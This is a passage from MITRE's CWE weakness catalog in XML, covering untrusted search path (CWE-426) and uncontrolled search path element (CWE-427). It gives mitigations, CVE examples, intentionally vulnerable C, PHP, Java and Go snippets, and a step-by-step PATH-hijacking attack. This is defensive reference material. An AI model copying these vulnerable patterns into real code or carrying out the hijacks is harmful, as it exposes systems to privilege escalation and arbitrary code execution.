               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="426" Name="Untrusted Search Path" Abstraction="Base" Structure="Simple" Status="Stable">
         <Description>The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.</Description>
         <Extended_Description>
            <xhtml:p>This might allow attackers to execute their own programs, access unauthorized data files, or modify configuration in unexpected ways. If the product uses a search path to locate critical resources such as programs, then an attacker could modify that search path to point to a malicious program, which the targeted product would then execute. The problem extends to any type of critical resource that the product trusts.</xhtml:p>
            <xhtml:p>Some of the most common variants of untrusted search path are:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>In various UNIX and Linux-based systems, the PATH environment variable may be consulted to locate executable programs, and LD_PRELOAD may be used to locate a separate library.</xhtml:li>
                  <xhtml:li>In various Microsoft-based systems, the PATH environment variable is consulted to locate a DLL, if the DLL is not found in other paths that appear earlier in the search order.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="642" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="673" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="427" View_ID="1000"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="428" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Untrusted Path</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>There is the potential for arbitrary code execution with privileges of the vulnerable program.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The program could be redirected to the wrong files, potentially triggering a crash or hang when the targeted file is too large or does not have the expected format.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Note>The program could send the output of unauthorized files to the attacker.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-11">
               <Method>Black Box</Method>
               <Description>
                  <xhtml:p>Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.</xhtml:p>
                  <xhtml:p>Attach the monitor to the process and look for library functions and system calls that suggest when a search path is being used. One pattern is when the program performs multiple accesses of the same file but in different directories, with repeated failures until the proper filename is found. Library calls such as getenv() or their equivalent can be checked to see if any path-related variables are being accessed.</xhtml:p>
               </Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of it, while execl() and execv() require a full path.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-67">
               <Intro_Text>This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define DIR "/restricted/directory"<xhtml:br/>
                     <xhtml:br/>char cmd[500];<xhtml:br/>sprintf(cmd, "ls -l %480s", DIR);<xhtml:br/>
                     <xhtml:i>/* Raise privileges to those needed for accessing DIR. */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>RaisePrivileges(...);<xhtml:br/>system(cmd);<xhtml:br/>DropPrivileges(...);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.</Body_Text>
               <Body_Text>However, because the program does not modify the PATH environment variable, the following attack would work:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:ul>
                     <xhtml:li>The user sets the PATH to reference a directory under the attacker's control, such as "/my/dir/".</xhtml:li>
                     <xhtml:li>The attacker creates a malicious program called "ls", and puts that program in /my/dir</xhtml:li>
                     <xhtml:li>The user executes the program.</xhtml:li>
                     <xhtml:li>When system() is executed, the shell consults the PATH to find the ls program</xhtml:li>
                     <xhtml:li>The program finds the attacker's malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".</xhtml:li>
                     <xhtml:li>The program executes the attacker's malicious program with the raised privileges.</xhtml:li>
                  </xhtml:ul>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-68">
               <Intro_Text>This code prints all of the running processes belonging to the current user.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (avoiding CWE-78)</xhtml:i>
                     <xhtml:br/>$userName = getCurrentUser();<xhtml:br/>$command = 'ps aux | grep ' . $userName;<xhtml:br/>system($command);</xhtml:div>
               </Example_Code>
               <Body_Text>If invoked by an unauthorized web user, it is providing a web page of potentially sensitive information on the underlying system, such as command-line arguments (CWE-497). This program is also potentially vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-29">
               <Intro_Text>The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>System.Runtime.getRuntime().exec("make");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1120</Reference>
               <Description>Application relies on its PATH environment variable to find and execute program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1120</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1810</Reference>
               <Description>Database application relies on its PATH environment variable to find and execute program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1810</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2027</Reference>
               <Description>Chain: untrusted search path enabling resultant format string by loading malicious internationalization messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2027</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3485</Reference>
               <Description>Untrusted search path using malicious .EXE in Windows environment.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3485</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2613</Reference>
               <Description>setuid program allows compromise using path that finds and loads a malicious library.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2613</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1319</Reference>
               <Description>Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1319</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Program Invocation</Functional_Area>
            <Functional_Area>Code Libraries</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Untrusted Search Path</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Relative path library search</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV03-C</Entry_ID>
               <Entry_Name>Sanitize the environment when invoking external programs</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="38"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 10, Process Attributes, page 603"/>
            <Reference External_Reference_ID="REF-176" Section="Chapter 8, &#34;Canonical Representation Issues.&#34; Page 229"/>
            <Reference External_Reference_ID="REF-207" Section="Chapter 12, &#34;Trust Management and Input Validation.&#34; Pages&#xA;                  317-320."/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 11, &#34;Don't Trust the PATH - Use Full Path Names&#34; Page 385"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, Relationships, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="427" Name="Uncontrolled Search Path Element" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses a fixed or controlled search path to find resources, but one or more locations in that path can be under the control of unintended actors.</Description>
         <Extended_Description>
            <xhtml:p>Although this weakness can occur with any type of resource, it is frequently introduced when a product uses a directory search path to find executables or code libraries, but the path contains a directory that can be modified by an attacker, such as "/tmp" or the current working directory.</xhtml:p>
            <xhtml:p>In Windows-based systems, when the LoadLibrary or LoadLibraryEx function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>the directory from which the program has been loaded</xhtml:li>
                  <xhtml:li>the current working directory</xhtml:li>
               </xhtml:ul>
            <xhtml:p>In some cases, the attack can be conducted remotely, such as when SMB or WebDAV network shares are used.</xhtml:p>
	    <xhtml:p>One or more locations in that path could include the Windows drive root or its subdirectories. This often exists in Linux-based code assuming the controlled nature of the root directory (/) or its subdirectories (/etc, etc), or a code that recursively accesses the parent directory.  In Windows, the drive root and some of its subdirectories have weak permissions by default, which makes them uncontrolled.</xhtml:p>
            <xhtml:p>In some Unix-based systems, a PATH might be created that contains an empty element, e.g. by splicing an empty variable into the PATH. This empty element can be interpreted as equivalent to the current working directory, which might be an untrusted search element.</xhtml:p>
            <xhtml:p>In software package management frameworks (e.g., npm, RubyGems, or PyPi), the framework may identify dependencies on third-party libraries or other packages, then consult a repository that contains the desired package. The framework may search a public repository before a private repository. This could be exploited by attackers by placing a malicious package in the public repository that has the same name as a package from the private repository. The search path might not be directly under control of the developer relying on the framework, but this search order effectively contains an untrusted element.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>DLL preloading</Term>
               <Description>This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Binary planting</Term>
               <Description>This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Insecure library loading</Term>
               <Description>This term is one of several that are used to describe exploitation of untrusted search path elements in Windows systems, which received wide attention in August 2010. From a weakness perspective, the term is imprecise because it can apply to both CWE-426 and CWE-427.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Dependency confusion</Term>
               <Description>As of February 2021, this term is used to describe CWE-427 in the context of managing installation of software package dependencies, in which attackers release packages on public sites where the names are the same as package names used by private repositories, and the search for the dependent package tries the public site first, downloading untrusted code. It may also be referred to as a "substitution attack."</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Hard-code the search path to a set of known-safe values (such as system directories), or only allow them to be specified by the administrator in a configuration file. Do not allow these settings to be modified by an external party. Be careful to avoid related weaknesses such as CWE-426 and CWE-428.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>When invoking other programs, specify those programs using fully-qualified pathnames. While this is an effective approach, code that uses fully-qualified pathnames might not be portable to other systems that do not use the same pathnames. The portability can be improved by locating the full-qualified paths in a centralized, easily-modifiable location within the source code, and having the code refer to these paths.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Remove or restrict all environment settings before invoking other programs. This includes the PATH environment variable, LD_LIBRARY_PATH, and other settings that identify the location of code libraries, and any application-specific search paths.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check your search path before use and remove any elements that are likely to be unsafe, such as the current working directory or a temporary files directory. Since this is a denylist approach, it might not be a complete solution.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use other functions that require explicit paths. Making use of any of the other readily available functions that require explicit paths is a safe way to avoid this problem. For example, system() in C does not require a full path since the shell can take care of finding the program using the PATH environment variable, while execl() and execv() require a full path.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-29">
               <Intro_Text>The following code is from a web application that allows users access to an interface through which they can update their password on the system. In this environment, user passwords can be managed using the Network Information System (NIS), which is commonly used on UNIX systems. When performing NIS updates, part of the process for updating passwords is to run a make command in the /var/yp directory. Performing NIS updates requires extra privileges.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>System.Runtime.getRuntime().exec("make");<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem here is that the program does not specify an absolute path for make and does not clean its environment prior to executing the call to Runtime.exec(). If an attacker can modify the $PATH variable to point to a malicious binary called make and cause the program to be executed in their environment, then the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's make will now be run with these privileges, possibly giving the attacker complete control of the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In versions of Go prior to v1.19, the LookPath function would follow the conventions of the runtime OS and look for a program in the directiories listed in the current path [REF-1325].</Intro_Text>
               <Body_Text>Therefore, Go would prioritize searching the current directory when the provided command name does not contain a directory separator and continued to search for programs even when the specified program name is empty.</Body_Text>
               <Body_Text>Consider the following where an application executes a git command to run on the system.</Body_Text>
               <Example_Code Nature="Bad" Language="Go">
                  <xhtml:div>func ExecuteGitCommand(name string, arg []string) error {
                     <xhtml:div style="margin-left:1em;">
                        c := exec.Command(name, arg...)<xhtml:br/>
                        var err error<xhtml:br/>
                        c.Path, err = exec.LookPath(name)<xhtml:br/>
                        if err != nil {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              return err<xhtml:br/>
                           </xhtml:div>
                        }</xhtml:div>
                     }</xhtml:div>
               </Example_Code>
               <Body_Text>An attacker could create a malicious repository with a file named ..exe and another file named git.exe. If git.exe is not found in the system PATH, then ..exe would execute [REF-1326].</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In February 2021 [REF-1169], a researcher was able to demonstrate the ability to breach major technology companies by using "dependency confusion" where the companies would download and execute untrusted packages.</Intro_Text>
	       <Body_Text>The researcher discovered the names of some internal, private packages by looking at dependency lists in public source code, such as package.json. The researcher then created new, untrusted packages with the same name as the internal packages, then uploaded them to package hosting services. These services included the npm registry for Node, PyPi for Python, and RubyGems. In affected companies, their dependency resolution would search the public hosting services first before consulting their internal service, causing the untrusted packages to be automatically downloaded and executed.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-4826</Reference>
               <Description>Go-based git extension on Windows can search for and execute a malicious "..exe" in a repository because Go searches the current working directory if git.exe is not found in the PATH</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-4826</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-26284</Reference>
